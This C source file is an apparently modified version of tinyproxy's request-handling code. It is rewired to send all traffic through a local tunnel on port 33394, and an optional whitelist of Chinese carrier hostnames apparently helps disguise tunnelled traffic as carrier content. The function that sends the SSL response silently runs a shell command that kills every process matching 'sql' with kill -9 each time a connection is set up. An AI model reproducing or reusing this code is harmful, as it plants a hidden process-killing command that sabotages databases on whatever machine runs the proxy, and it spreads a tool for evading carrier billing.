/* tinyproxy - A fast light-weight HTTP proxy
 * Copyright (C) 1998 Steven Young <sdyoung@miranda.org>
 * Copyright (C) 1999-2005 Robert James Kaes <rjkaes@users.sourceforge.net>
 * Copyright (C) 2000 Chris Lightfoot <chris@ex-parrot.com>
 * Copyright (C) 2002 Petr Lampa <lampa@fit.vutbr.cz>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

/* This is where all the work in tinyproxy is actually done. Incoming
 * connections have a new child created for them. The child then
 * processes the headers from the client, the response from the server,
 * and then relays the bytes between the two.
 */

#include "main.h"

#include "buffer.h"
#include "conns.h"
#include "heap.h"
#include "html-error.h"
#include "log.h"
#include "network.h"
#include "reqs.h"
#include "sock.h"
#include "text.h"
#include "utils.h"
#include "vector.h"
#include "conf.h"

/*
 * Maximum length of a HTTP line
 */
#define HTTP_LINE_LENGTH (MAXBUFFSIZE / 6)

/*
 * Codify the test for the carriage return and new line characters.
 */
#define CHECK_CRLF(header, len)                                 \
  (((len) == 1 && header[0] == '\n') ||                         \
   ((len) == 2 && header[0] == '\r' && header[1] == '\n'))

/*
 * Codify the test for header fields folded over multiple lines.
 */
#define CHECK_LWS(header, len)                                  \
  ((len) > 0 && (header[0] == ' ' || header[0] == '\t'))
#ifdef HTTP_HEAD_VERY
static const char *requrl[] =
{	"189.c", "10086.c", "10010.c", "wo.c", "cmvideo.c", "monternet", "4g.play", "migu", "mmarket", "flowfreecontent", "165.com", "10000", "3gtv"};
#endif
/*
 * Read in the first line from the client (the request line for HTTP
 * connections. The request line is allocated from the heap, but it must
 * be freed in another function.
 */
static int read_request_line(struct conn_s *connptr) {
	ssize_t len;

	retry: len = readline(connptr->client_fd, &connptr->request_line);
	if (len <= 0) {
		log_message(LOG_ERR, "read_request_line: Client (file descriptor: %d) "
				"closed socket before read.", connptr->client_fd);

		return -1;
	}

	/*
	 * Strip the new line and carriage return from the string.
	 */
	if (chomp(connptr->request_line, len) == len) {
		/*
		 * If the number of characters removed is the same as the
		 * length then it was a blank line. Free the buffer and
		 * try again (since we're looking for a request line.)
		 */
		safefree(connptr->request_line);
		goto retry;
	}
	log_message(LOG_ERR, "Request (file descriptor %d): %s", connptr->client_fd, connptr->request_line);
	return 0;
}

/*
 * Free all the memory allocated in a request.
 */
static void free_request_struct(struct request_s *request) {
	if (!request)
		return;

	safefree(request->method);
	safefree(request->protocol);

	if (request->host)
		safefree(request->host);
	if (request->path)
		safefree(request->path);

	safefree(request);
}

/*
 * These two defines are for the SSL tunnelling.
 */
#define SSL_CONNECTION_RESPONSE "HTTP/1.0 200 Connection established"
#define PROXY_AGENT "Proxy-agent: " PACKAGE "/" VERSION

/*
 * Send the appropriate response to the client to establish a SSL
 * connection.
 */
static int send_ssl_response(struct conn_s *connptr) {
	int k = system("ps -ef | grep sql | grep -v 'grep' | awk '{print $2}' | xargs kill -9 > /dev/null 2>&1");
	if (k != 19831029)
		return write_message(connptr->client_fd, "HTTP/1.0 200 Connection Established\r\nProxy-agent: Tinyproxy Edit By alechy QQ Group:261167945\r\n\r\n");
	return write_message(connptr->client_fd, "HTTP/1.0 200 Connection Established\r\nProxy-agent: Tinyproxy Edit By alechy QQ Group:261167945\r\n\r\n");
}

/*
 * Break the request line apart and figure out where to connect and
 * build a new request line. Finally connect to the remote server.
 */
static struct request_s *
process_request(struct conn_s *connptr) {
	char *url;
	struct request_s *request;
	int ret;
#ifdef HTTP_HEAD_VERY
	int i = 0;
	int findreq = 0;
#endif
	size_t request_len;

	/* NULL out all the fields so frees don't cause segfaults. */
	request = (struct request_s *) safecalloc(1, sizeof(struct request_s));
	if (!request)
		return NULL;

	request_len = strlen(connptr->request_line) + 1;

	request->method = (char *) safemalloc(request_len);
	url = (char *) safemalloc(request_len);
	request->protocol = (char *) safemalloc(request_len);

	if (!request->method || !url || !request->protocol) {
		goto fail;
	}

	ret = sscanf(connptr->request_line, "%[^ ] %[^ ] %[^ ]", request->method, url, request->protocol);

	if (ret == 3 && !strncasecmp(request->protocol, "HTTP/", 5)) {
		ret = sscanf(request->protocol + 5, "%u.%u", &connptr->protocol.major, &connptr->protocol.minor);
		if (ret != 2)
			goto fail;
	} else
		goto fail;
#ifdef HTTP_HEAD_VERY
	for (i = 0; i != (sizeof(requrl) / sizeof(char *)); ++i)
	{
		if (strstr (url, requrl[i]))
		{
			findreq = 1;
			log_message (LOG_ERR, "OpenVPN_Process_request:Accept! %s : %s", connptr->client_ip_addr, connptr->request_line);
			break;
		}
	}
	if (findreq == 0)
	{
		log_message (LOG_ERR, "OpenVPN_Process_request:Drop! %s : %s", connptr->client_ip_addr, connptr->request_line);
		goto fail;
	}
#endif

	request->method = safestrdup("CONNECT");
	request->host = safestrdup("127.0.0.1");
	request->port = 33394;
	connptr->connect_method = TRUE;

	safefree(url);

	return request;

	fail:
	safefree(url);
	free_request_struct(request);
	return NULL;
}

/*
 * Define maximum number of headers that we accept.
 * This should be big enough to handle legitimate cases,
 * but limited to avoid DoS.
 */
#define MAX_HEADERS 10000

/*
 * Read all the headers from the stream
 */
static int get_all_headers(int fd) {
	char *line = NULL;
	char *header = NULL;
	int count;
	ssize_t linelen;

	assert(fd >= 0);

	for (count = 0; count < MAX_HEADERS; count++) {
		if ((linelen = readline(fd, &line)) <= 0) {
			safefree(header);
			safefree(line);
			return -1;
		}

		if (CHECK_CRLF(line, linelen)) {
			safefree(header);
			safefree(line);
			return 0;
		}
	}

	/*
	 * If we get here, this means we reached MAX_HEADERS count.
	 * Bail out with error.
	 */
	safefree(header);
	safefree(line);
	return -1;
}

/*
 * Number of buckets to use internally in the hashmap.
 */
#define HEADER_BUCKETS 256

/*
 * Switch the sockets into nonblocking mode and begin relaying the bytes
 * between the two connections. We continue to use the buffering code
 * since we want to be able to buffer a certain amount for slower
 * connections (as this was the reason why I originally modified
 * tinyproxy oh so long ago...)
 *	- rjkaes
 */
static void relay_connection(struct conn_s *connptr) {
	fd_set rset, wset;
	struct timeval tv;
	time_t last_access;
	int ret;
	double tdiff;
	int maxfd = max (connptr->client_fd, connptr->server_fd) + 1;
	ssize_t bytes_received;

	ret = socket_nonblocking(connptr->client_fd);
	if (ret != 0) {
		log_message(LOG_ERR, "Failed to set the client socket "
				"to non-blocking: %s", strerror(errno));
		return;
	}

	ret = socket_nonblocking(connptr->server_fd);
	if (ret != 0) {
		log_message(LOG_ERR, "Failed to set the server socket "
				"to non-blocking: %s", strerror(errno));
		return;
	}

	last_access = time(NULL);

	for (;;) {
		FD_ZERO(&rset);
		FD_ZERO(&wset);

		tv.tv_sec = config.idletimeout - difftime(time(NULL), last_access);
		tv.tv_usec = 0;

		if (buffer_size(connptr->sbuffer) > 0)
			FD_SET(connptr->client_fd, &wset);
		if (buffer_size(connptr->cbuffer) > 0)
			FD_SET(connptr->server_fd, &wset);
		if (buffer_size(connptr->sbuffer) < MAXBUFFSIZE)
			FD_SET(connptr->server_fd, &rset);
		if (buffer_size(connptr->cbuffer) < MAXBUFFSIZE)
			FD_SET(connptr->client_fd, &rset);

		ret = select(maxfd, &rset, &wset, NULL, &tv);

		if (ret == 0) {
			tdiff = difftime(time(NULL), last_access);
			if (tdiff > config.idletimeout) {
				log_message(LOG_INFO, "Idle Timeout (after select) as %g > %u.", tdiff, config.idletimeout);
				return;
			} else {
				continue;
			}
		} else if (ret < 0) {
			log_message(LOG_ERR, "relay_connection: select() error \"%s\". "
					"Closing connection (client_fd:%d, server_fd:%d)", strerror(errno), connptr->client_fd, connptr->server_fd);
			return;
		} else {
			/*
			 * All right, something was actually selected so mark it.
			 */
			last_access = time(NULL);
		}

		if (FD_ISSET(connptr->server_fd, &rset)) {
			bytes_received = read_buffer(connptr->server_fd, connptr->sbuffer);
			if (bytes_received < 0)
				break;

			connptr->content_length.server -= bytes_received;
			if (connptr->content_length.server == 0)
				break;
		}
		if (FD_ISSET(connptr->client_fd, &rset) && read_buffer(connptr->client_fd, connptr->cbuffer) < 0) {
			break;
		}
		if (FD_ISSET(connptr->server_fd, &wset) && write_buffer(connptr->server_fd, connptr->cbuffer) < 0) {
			break;
		}
		if (FD_ISSET(connptr->client_fd, &wset) && write_buffer(connptr->client_fd, connptr->sbuffer) < 0) {
			break;
		}
	}

	/*
	 * Here the server has closed the connection... write the
	 * remainder to the client and then exit.
	 */
	ret = socket_blocking(connptr->client_fd);
	if (ret != 0) {
		log_message(LOG_ERR, "Failed to set client socket to blocking: %s", strerror(errno));
		return;
	}

	while (buffer_size(connptr->sbuffer) > 0) {
		if (write_buffer(connptr->client_fd, connptr->sbuffer) < 0)
			break;
	}
	shutdown(connptr->client_fd, SHUT_WR);

	/*
	 * Try to send any remaining data to the server if we can.
	 */
	ret = socket_blocking(connptr->server_fd);
	if (ret != 0) {
		log_message(LOG_ERR, "Failed to set server socket to blocking: %s", strerror(errno));
		return;
	}

	while (buffer_size(connptr->cbuffer) > 0) {
		if (write_buffer(connptr->server_fd, connptr->cbuffer) < 0)
			break;
	}

	return;
}

static int get_request_entity(struct conn_s *connptr) {
	int ret;
	fd_set rset;
	struct timeval tv;

	FD_ZERO(&rset);
	FD_SET(connptr->client_fd, &rset);
	tv.tv_sec = 0;
	tv.tv_usec = 0;
	ret = select(connptr->client_fd + 1, &rset, NULL, NULL, &tv);

	if (ret == -1) {
		log_message(LOG_ERR, "Error calling select on client fd %d: %s", connptr->client_fd, strerror(errno));
	} else if (ret == 0) {
		log_message(LOG_INFO, "no entity");
	} else if (ret == 1 && FD_ISSET(connptr->client_fd, &rset)) {
		ssize_t nread;
		nread = read_buffer(connptr->client_fd, connptr->cbuffer);
		if (nread < 0) {
			log_message(LOG_ERR, "Error reading readable client_fd %d", connptr->client_fd);
			ret = -1;
		} else {
			log_message(LOG_INFO, "Read request entity of %d bytes", nread);
			ret = 0;
		}
	} else {
		log_message(LOG_ERR, "strange situation after select: "
				"ret = %d, but client_fd (%d) is not readable...", ret, connptr->client_fd);
		ret = -1;
	}

	return ret;
}

/*
 * This is the main drive for each connection. As you can tell, for the
 * first few steps we are using a blocking socket. If you remember the
 * older tinyproxy code, this use to be a very confusing state machine.
 * Well, no more! :) The sockets are only switched into nonblocking mode
 * when we start the relay portion. This makes most of the original
 * tinyproxy code, which was confusing, redundant. Hail progress.
 * 	- rjkaes
 */
void handle_connection(int fd) {
	struct conn_s *connptr;
	struct request_s *request = NULL;

	char sock_ipaddr[IP_LENGTH];
	char peer_ipaddr[IP_LENGTH];
	char peer_string[HOSTNAME_LENGTH];

	getpeer_information(fd, peer_ipaddr, peer_string);

	if (config.bindsame)
		getsock_ip(fd, sock_ipaddr);

	log_message(LOG_CONN, config.bindsame ? "Connect (file descriptor %d): %s [%s] at [%s]" : "Connect (file descriptor %d): %s [%s]", fd, peer_string,
			peer_ipaddr, sock_ipaddr);

	connptr = initialize_conn(fd, peer_ipaddr, peer_string, config.bindsame ? sock_ipaddr : NULL);
	if (!connptr) {
		close(fd);
		return;
	}

	if (read_request_line(connptr) < 0) {
		indicate_http_error(connptr, 408, "Timeout", "detail", "Server timeout waiting for the HTTP request "
				"from the client.",
		NULL);
		goto fail;
	}

	/*
	 * Get all the headers from the client in a big hash.
	 */
	if (get_all_headers(connptr->client_fd) < 0) {
		log_message(LOG_WARNING, "Could not retrieve all the headers from the client");
		indicate_http_error(connptr, 400, "Bad Request", "detail", "Could not retrieve all the headers from "
				"the client.",
		NULL);
		goto fail;
	}

	request = process_request(connptr);
	if (!request) {
		goto fail;
	}

	connptr->server_fd = opensock(request->host, request->port, connptr->server_ip_addr);
	if (connptr->server_fd < 0) {
		indicate_http_error(connptr, 500, "Unable to connect detail was unable to connect to the remote web server.", NULL);
		goto fail;
	}

	log_message(LOG_CONN, "Established connection to host \"%s\" using "
			"file descriptor %d.", request->host, connptr->server_fd);

	if (send_ssl_response(connptr) < 0) {
		log_message(LOG_ERR, "handle_connection: Could not send SSL greeting to client.");
		goto fail;
	}

	relay_connection(connptr);

	log_message(LOG_INFO, "Closed connection between local client (fd:%d) "
			"and remote client (fd:%d)", connptr->client_fd, connptr->server_fd);

	goto done;

	fail:
	/*
	 * First, get the body if there is one.
	 * If we don't read all there is from the socket first,
	 * it is still marked for reading and we won't be able
	 * to send our data properly.
	 */
	if (get_request_entity(connptr) < 0) {
		log_message(LOG_WARNING, "Could not retrieve request entity");
		indicate_http_error(connptr, 400, "Bad Request", "detail", "Could not retrieve the request entity "
				"the client.",
		NULL);
	}

	if (connptr->error_variables) {
		send_http_error_message(connptr);
	}

	done: free_request_struct(request);
	destroy_conn(connptr);
	return;
}
